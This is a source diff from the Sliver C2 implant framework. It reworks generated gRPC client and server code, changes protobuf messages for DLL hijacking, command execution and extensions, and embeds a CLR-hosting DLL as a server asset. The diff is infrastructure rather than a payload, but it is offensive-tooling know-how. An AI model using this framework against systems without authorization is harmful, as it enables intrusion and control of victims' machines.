-	Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error)
-	HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error)
-	HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
 	// *** Implants ***
 	Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
 	Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
@@ -122,12 +117,8 @@ type SliverRPCClient interface {
 	RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
 	RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
 	RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
-	HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
+	HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
 	GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
-	// Extensions
-	RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
-	CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error)
-	ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error)
 	// *** Wireguard Specific ***
 	WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
 	WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
@@ -352,42 +343,6 @@ func (c *sliverRPCClient) LootAllOf(ctx context.Context, in *clientpb.Loot, opts
 	return out, nil
 }
 
-func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error) {
-	out := new(clientpb.AllHosts)
-	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Hosts", in, out, opts...)
-	if err != nil {
-		return nil, err
-	}
-	return out, nil
-}
-
-func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error) {
-	out := new(clientpb.Host)
-	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Host", in, out, opts...)
-	if err != nil {
-		return nil, err
-	}
-	return out, nil
-}
-
-func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error) {
-	out := new(commonpb.Empty)
-	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostRm", in, out, opts...)
-	if err != nil {
-		return nil, err
-	}
-	return out, nil
-}
-
-func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error) {
-	out := new(commonpb.Empty)
-	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostIOCRm", in, out, opts...)
-	if err != nil {
-		return nil, err
-	}
-	return out, nil
-}
-
 func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
 	out := new(clientpb.Generate)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Generate", in, out, opts...)
@@ -955,8 +910,8 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom
 	return out, nil
 }
 
-func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) {
-	out := new(clientpb.DllHijack)
+func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error) {
+	out := new(sliverpb.DllHijack)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...)
 	if err != nil {
 		return nil, err
@@ -973,33 +928,6 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
 	return out, nil
 }
 
-func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
-	out := new(sliverpb.RegisterExtension)
-	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...)
-	if err != nil {
-		return nil, err
-	}
-	return out, nil
-}
-
-func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error) {
-	out := new(sliverpb.CallExtension)
-	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CallExtension", in, out, opts...)
-	if err != nil {
-		return nil, err
-	}
-	return out, nil
-}
-
-func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error) {
-	out := new(sliverpb.ListExtensions)
-	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListExtensions", in, out, opts...)
-	if err != nil {
-		return nil, err
-	}
-	return out, nil
-}
-
 func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
 	out := new(sliverpb.WGPortForward)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...)
@@ -1187,11 +1115,6 @@ type SliverRPCServer interface {
 	LootContent(context.Context, *clientpb.Loot) (*clientpb.Loot, error)
 	LootAll(context.Context, *commonpb.Empty) (*clientpb.AllLoot, error)
 	LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error)
-	// *** Hosts ***
-	Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error)
-	Host(context.Context, *clientpb.Host) (*clientpb.Host, error)
-	HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error)
-	HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
 	// *** Implants ***
 	Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
 	Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error)
@@ -1258,12 +1181,8 @@ type SliverRPCServer interface {
 	RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
 	RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
 	RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
-	HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
+	HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
 	GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
-	// Extensions
-	RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
-	CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error)
-	ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error)
 	// *** Wireguard Specific ***
 	WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error)
 	WGStopPortForward(context.Context, *sliverpb.WGPortForwardStopReq) (*sliverpb.WGPortForward, error)
@@ -1353,18 +1272,6 @@ func (UnimplementedSliverRPCServer) LootAll(context.Context, *commonpb.Empty) (*
 func (UnimplementedSliverRPCServer) LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method LootAllOf not implemented")
 }
-func (UnimplementedSliverRPCServer) Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error) {
-	return nil, status.Errorf(codes.Unimplemented, "method Hosts not implemented")
-}
-func (UnimplementedSliverRPCServer) Host(context.Context, *clientpb.Host) (*clientpb.Host, error) {
-	return nil, status.Errorf(codes.Unimplemented, "method Host not implemented")
-}
-func (UnimplementedSliverRPCServer) HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error) {
-	return nil, status.Errorf(codes.Unimplemented, "method HostRm not implemented")
-}
-func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error) {
-	return nil, status.Errorf(codes.Unimplemented, "method HostIOCRm not implemented")
-}
 func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
 }
@@ -1554,21 +1461,12 @@ func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverp
 func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
 }
-func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
+func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
 }
 func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
 }
-func (UnimplementedSliverRPCServer) RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
-	return nil, status.Errorf(codes.Unimplemented, "method RegisterExtension not implemented")
-}
-func (UnimplementedSliverRPCServer) CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error) {
-	return nil, status.Errorf(codes.Unimplemented, "method CallExtension not implemented")
-}
-func (UnimplementedSliverRPCServer) ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error) {
-	return nil, status.Errorf(codes.Unimplemented, "method ListExtensions not implemented")
-}
 func (UnimplementedSliverRPCServer) WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method WGStartPortForward not implemented")
 }
@@ -2014,78 +1912,6 @@ func _SliverRPC_LootAllOf_Handler(srv interface{}, ctx context.Context, dec func
 	return interceptor(ctx, in, info, handler)
 }
 
-func _SliverRPC_Hosts_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
-	in := new(commonpb.Empty)
-	if err := dec(in); err != nil {
-		return nil, err
-	}
-	if interceptor == nil {
-		return srv.(SliverRPCServer).Hosts(ctx, in)
-	}
-	info := &grpc.UnaryServerInfo{
-		Server:     srv,
-		FullMethod: "/rpcpb.SliverRPC/Hosts",
-	}
-	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
-		return srv.(SliverRPCServer).Hosts(ctx, req.(*commonpb.Empty))
-	}
-	return interceptor(ctx, in, info, handler)
-}
-
-func _SliverRPC_Host_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
-	in := new(clientpb.Host)
-	if err := dec(in); err != nil {
-		return nil, err
-	}
-	if interceptor == nil {
-		return srv.(SliverRPCServer).Host(ctx, in)
-	}
-	info := &grpc.UnaryServerInfo{
-		Server:     srv,
-		FullMethod: "/rpcpb.SliverRPC/Host",
-	}
-	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
-		return srv.(SliverRPCServer).Host(ctx, req.(*clientpb.Host))
-	}
-	return interceptor(ctx, in, info, handler)
-}
-
-func _SliverRPC_HostRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
-	in := new(clientpb.Host)
-	if err := dec(in); err != nil {
-		return nil, err
-	}
-	if interceptor == nil {
-		return srv.(SliverRPCServer).HostRm(ctx, in)
-	}
-	info := &grpc.UnaryServerInfo{
-		Server:     srv,
-		FullMethod: "/rpcpb.SliverRPC/HostRm",
-	}
-	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
-		return srv.(SliverRPCServer).HostRm(ctx, req.(*clientpb.Host))
-	}
-	return interceptor(ctx, in, info, handler)
-}
-
-func _SliverRPC_HostIOCRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
-	in := new(clientpb.IOC)
-	if err := dec(in); err != nil {
-		return nil, err
-	}
-	if interceptor == nil {
-		return srv.(SliverRPCServer).HostIOCRm(ctx, in)
-	}
-	info := &grpc.UnaryServerInfo{
-		Server:     srv,
-		FullMethod: "/rpcpb.SliverRPC/HostIOCRm",
-	}
-	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
-		return srv.(SliverRPCServer).HostIOCRm(ctx, req.(*clientpb.IOC))
-	}
-	return interceptor(ctx, in, info, handler)
-}
-
 func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
 	in := new(clientpb.GenerateReq)
 	if err := dec(in); err != nil {
@@ -3221,7 +3047,7 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec
 }
 
 func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
-	in := new(clientpb.DllHijackReq)
+	in := new(sliverpb.DllHijackReq)
 	if err := dec(in); err != nil {
 		return nil, err
 	}
@@ -3233,7 +3059,7 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
 		FullMethod: "/rpcpb.SliverRPC/HijackDLL",
 	}
 	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
-		return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq))
+		return srv.(SliverRPCServer).HijackDLL(ctx, req.(*sliverpb.DllHijackReq))
 	}
 	return interceptor(ctx, in, info, handler)
 }
@@ -3256,60 +3082,6 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
 	return interceptor(ctx, in, info, handler)
 }
 
-func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
-	in := new(sliverpb.RegisterExtensionReq)
-	if err := dec(in); err != nil {
-		return nil, err
-	}
-	if interceptor == nil {
-		return srv.(SliverRPCServer).RegisterExtension(ctx, in)
-	}
-	info := &grpc.UnaryServerInfo{
-		Server:     srv,
-		FullMethod: "/rpcpb.SliverRPC/RegisterExtension",
-	}
-	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
-		return srv.(SliverRPCServer).RegisterExtension(ctx, req.(*sliverpb.RegisterExtensionReq))
-	}
-	return interceptor(ctx, in, info, handler)
-}
-
-func _SliverRPC_CallExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
-	in := new(sliverpb.CallExtensionReq)
-	if err := dec(in); err != nil {
-		return nil, err
-	}
-	if interceptor == nil {
-		return srv.(SliverRPCServer).CallExtension(ctx, in)
-	}
-	info := &grpc.UnaryServerInfo{
-		Server:     srv,
-		FullMethod: "/rpcpb.SliverRPC/CallExtension",
-	}
-	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
-		return srv.(SliverRPCServer).CallExtension(ctx, req.(*sliverpb.CallExtensionReq))
-	}
-	return interceptor(ctx, in, info, handler)
-}
-
-func _SliverRPC_ListExtensions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
-	in := new(sliverpb.ListExtensionsReq)
-	if err := dec(in); err != nil {
-		return nil, err
-	}
-	if interceptor == nil {
-		return srv.(SliverRPCServer).ListExtensions(ctx, in)
-	}
-	info := &grpc.UnaryServerInfo{
-		Server:     srv,
-		FullMethod: "/rpcpb.SliverRPC/ListExtensions",
-	}
-	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
-		return srv.(SliverRPCServer).ListExtensions(ctx, req.(*sliverpb.ListExtensionsReq))
-	}
-	return interceptor(ctx, in, info, handler)
-}
-
 func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
 	in := new(sliverpb.WGPortForwardStartReq)
 	if err := dec(in); err != nil {
@@ -3632,22 +3404,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "LootAllOf",
 			Handler:    _SliverRPC_LootAllOf_Handler,
 		},
-		{
-			MethodName: "Hosts",
-			Handler:    _SliverRPC_Hosts_Handler,
-		},
-		{
-			MethodName: "Host",
-			Handler:    _SliverRPC_Host_Handler,
-		},
-		{
-			MethodName: "HostRm",
-			Handler:    _SliverRPC_HostRm_Handler,
-		},
-		{
-			MethodName: "HostIOCRm",
-			Handler:    _SliverRPC_HostIOCRm_Handler,
-		},
 		{
 			MethodName: "Generate",
 			Handler:    _SliverRPC_Generate_Handler,
@@ -3908,18 +3664,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "GetPrivs",
 			Handler:    _SliverRPC_GetPrivs_Handler,
 		},
-		{
-			MethodName: "RegisterExtension",
-			Handler:    _SliverRPC_RegisterExtension_Handler,
-		},
-		{
-			MethodName: "CallExtension",
-			Handler:    _SliverRPC_CallExtension_Handler,
-		},
-		{
-			MethodName: "ListExtensions",
-			Handler:    _SliverRPC_ListExtensions_Handler,
-		},
 		{
 			MethodName: "WGStartPortForward",
 			Handler:    _SliverRPC_WGStartPortForward_Handler,

protobuf/sliverpb/constants.go

@@ -251,14 +251,6 @@ const (
 
 	// MsgRegistryListValuesReq - List registry values
 	MsgRegistryListValuesReq
-	// MsgRegisterExtensionReq - Register a new extension
-	MsgRegisterExtensionReq
-
-	// MsgCallExtensionReq - Run an extension command
-	MsgCallExtensionReq
-
-	// MsgListExtensionsReq - List loaded extensions
-	MsgListExtensionsReq
 )
 
 // Constants to replace enums
@@ -488,15 +480,6 @@ func MsgNumber(request proto.Message) uint32 {
 		return MsgRegistrySubKeysListReq
 	case *RegistryListValuesReq:
 		return MsgRegistryListValuesReq
-
-	case *RegisterExtensionReq:
-		return MsgRegisterExtensionReq
-
-	case *CallExtensionReq:
-		return MsgCallExtensionReq
-
-	case *ListExtensionsReq:
-		return MsgListExtensionsReq
 	}
 
 	return uint32(0)

protobuf/sliverpb/sliver.proto

@@ -47,7 +47,6 @@ message Register {
   uint32 ReconnectInterval = 13;
   string ProxyURL = 14;
   uint32 PollInterval = 15;
-  string ConfigID = 16;
 }
 
 // Ping - Not ICMP, just sends a rount trip message to an implant to
@@ -121,8 +120,6 @@ message Ls {
   string Path = 1;
   bool Exists = 2;
   repeated FileInfo Files = 3;
-  string timezone = 4;
-  int32 timezoneOffset = 5;
 
   commonpb.Response Response = 9;
 }
@@ -131,8 +128,6 @@ message FileInfo {
   string Name = 1;
   bool IsDir = 2;
   int64 Size = 3;
-  int64 ModTime = 4;
-  string Mode = 5;
 }
 
 message CdReq {
@@ -195,7 +190,6 @@ message UploadReq {
   string Path = 1;
   string Encoder = 2;
   bytes Data = 3;
-  bool IsIOC = 4;
 
   commonpb.Request Request = 9;
 }
@@ -332,8 +326,6 @@ message ExecuteReq {
   string Path = 1;
   repeated string Args = 2;
   bool Output = 3;
-  string Stdout = 4;
-  string Stderr = 5;
 
   commonpb.Request Request = 9;
 }
@@ -342,17 +334,13 @@ message ExecuteTokenReq {
   string Path = 1;
   repeated string Args = 2;
   bool Output = 3;
-  string Stdout = 4;
-  string Stderr = 5;
 
   commonpb.Request Request = 9;
 }
 
 message Execute {
-  uint32 Status = 1;
-  string Stdout = 2;
-  string Stderr = 3;
-  uint32 Pid = 4;
+  string Result = 1;
+  uint32 Status = 2;
 
   commonpb.Response Response = 9;
 }
@@ -809,6 +797,20 @@ message SSHCommand {
   commonpb.Response Response = 9;
 }
 
+message DllHijackReq {
+  string ReferenceDLLPath = 1;
+  string TargetLocation = 2;
+  bytes ReferenceDLL = 3;
+  bytes TargetDLL = 4;
+  string ProfileName = 5;
+
+  commonpb.Request Request = 9;
+}
+
+message DllHijack {
+  commonpb.Response Response = 9;
+}
+
 message GetPrivsReq {
   commonpb.Request Request = 9;
 }
@@ -824,49 +826,6 @@ message WindowsPrivilegeEntry {
 
 message GetPrivs {
   repeated WindowsPrivilegeEntry PrivInfo = 1;
-  string ProcessIntegrity = 2;
-  string ProcessName = 3;
-
-  commonpb.Response Response = 9;
-}
-
-// Extensions
-
-message RegisterExtensionReq {
-  string Name = 1;
-  bytes Data = 2;
-  string OS = 3;
-  string Init = 4;
-
-  commonpb.Request Request = 9;
-}
-
-message RegisterExtension {
-  commonpb.Response Response = 9;
-}
-
-message CallExtensionReq {
-  string Name = 1;
-  bool ServerStore = 2;
-  bytes Args = 3;
-  string Export = 4;
-
-  commonpb.Request Request = 9;
-}
-
-message CallExtension {
-  bytes Output = 1;
-  bool ServerStore = 2;
-
-  commonpb.Response Response = 9;
-}
-
-message ListExtensionsReq {
-  commonpb.Request Request = 9;
-}
-
-message ListExtensions {
-  repeated string Names = 1;
 
   commonpb.Response Response = 9;
 }

server/assets/assets.go

@@ -42,7 +42,8 @@ import (
 
 const (
 	// GoDirName - The directory to store the go compiler/toolchain files in
-	GoDirName = "go"
+	GoDirName  = "go"
+	dllDirName = "dll"
 
 	goPathDirName   = "gopath"
 	versionFileName = "version"
@@ -75,6 +76,12 @@ func GetRootAppDir() string {
 	return dir
 }
 
+// GetDllDir - Returns the full path to the data directory
+func GetDllDir() string {
+	dir := path.Join(GetRootAppDir(), dllDirName)
+	return dir
+}
+
 func assetVersion() string {
 	appDir := GetRootAppDir()
 	data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
@@ -103,6 +110,7 @@ func Setup(force bool, echo bool) {
 		}
 		setupGo(appDir)
 		setupCodenames(appDir)
+		setupDllPath(appDir)
 		saveAssetVersion(appDir)
 	}
 }
@@ -255,6 +263,22 @@ func SetupGoPath(goPathSrc string) error {
 	return nil
 }
 
+// setupDllPath - Sets the data directory up
+func setupDllPath(appDir string) error {
+	dataDir := GetDllDir()
+	if _, err := os.Stat(dataDir); os.IsNotExist(err) {
+		setupLog.Infof("Creating data directory: %s", dataDir)
+		os.MkdirAll(dataDir, 0700)
+	}
+	hostingDll, err := assetsFs.ReadFile(path.Join("fs", "dll", "HostingCLRx64.dll"))
+	if err != nil {
+		setupLog.Info("failed to find the dll")
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(dataDir, "HostingCLRx64.dll"), hostingDll, 0600)
+	return err
+}
+
 func unzipGoDependency(fsPath string, targetPath string) error {
 	setupLog.Infof("Unpacking go dependency %s -> %s", fsPath, targetPath)
 

server/assets/assets_darwin_amd64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/amd64/*
 	assetsFs embed.FS
 )

server/assets/assets_darwin_arm64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/arm64/*
 	assetsFs embed.FS
 )

server/assets/assets_linux_amd64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/linux/amd64/*
 	assetsFs embed.FS
 )

server/assets/assets_windows_amd64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/windows/amd64/*
 	assetsFs embed.FS
 )

server/assets/fs/dll/LICENSE

@@ -0,0 +1,29 @@
+BSD 3-Clause License
+
+Copyright (c) 2018, b4rtik
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holder nor the names of its
+   contributors may be used to endorse or promote products derived from
+   this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

server/c2/c2_test.go

@@ -1,8 +1,8 @@
-package hosts
+package c2
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2019  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -19,28 +19,34 @@ package hosts
 */
 
 import (
-	"context"
+	"net/http"
+	"net/http/httptest"
+	"testing"
 
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
+	"github.com/bishopfox/sliver/server/certs"
 )
 
-// HostsIOCRmCmd - Remove a host from the database
-func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	host, err := SelectHost(con)
+func TestRsaKeyHandler(t *testing.T) {
+
+	certs.SetupCAs()
+
+	req, err := http.NewRequest("GET", "/test/foo.txt", nil)
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		t.Fatal(err)
+	}
+
+	server, err := StartHTTPSListener(&HTTPServerConfig{
+		Addr: "127.0.0.1:8888",
+	})
+	if err != nil {
+		t.Errorf("Listener failed to start %s", err)
 		return
 	}
-	ioc, err := SelectHostIOC(host, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
+	rr := httptest.NewRecorder()
+	handler := http.HandlerFunc(server.rsaKeyHandler)
+	handler.ServeHTTP(rr, req)
+	if status := rr.Code; status != http.StatusOK {
+		t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
 	}
-	_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	con.PrintInfof("Removed host from database\n")
+
 }

server/c2/http_test.go

@@ -1,138 +0,0 @@
-package c2
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	insecureRand "math/rand"
-	"net/http"
-	"net/http/httptest"
-	"net/url"
-	"testing"
-	"time"
-
-	implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
-	implantTransports "github.com/bishopfox/sliver/implant/sliver/transports"
-	"github.com/bishopfox/sliver/server/certs"
-	"github.com/bishopfox/sliver/server/cryptography"
-	"github.com/pquerna/otp"
-	"github.com/pquerna/otp/totp"
-)
-
-func TestRsaKeyHandler(t *testing.T) {
-	certs.SetupCAs()
-	server, err := StartHTTPSListener(&HTTPServerConfig{
-		Addr:       "127.0.0.1:8888",
-		EnforceOTP: true,
-	})
-	if err != nil {
-		t.Errorf("Listener failed to start %s", err)
-		return
-	}
-
-	router := server.router()
-
-	// Missing parameters
-	rr := httptest.NewRecorder()
-	req, _ := http.NewRequest("GET", "/test/foo.txt", nil)
